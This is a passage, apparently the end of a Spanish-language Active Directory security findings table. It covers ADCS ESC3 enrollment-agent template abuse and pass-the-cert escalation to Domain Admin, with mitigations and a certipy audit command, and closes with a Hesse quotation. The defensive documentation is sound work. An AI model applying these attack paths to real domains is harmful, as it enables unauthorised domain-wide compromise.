8 Plantillas ADCS ESC3 UserCA/UserCAn permiten agente de inscripción + on-behalf-of Restringir permisos de inscripción; quitar EKU de agente; Manager Approval; auditar con certipy find -vulnerable
9 Pass-the-Cert a Domain Admin Cert de Administrador válido para Schannel/LDAPS Strong Certificate Binding Enforcement; canal seguro/Channel Binding; monitorizar emisiones de certificados

«El saber se puede comunicar, pero no la sabiduría.»
— Hermann Hesse, Siddhartha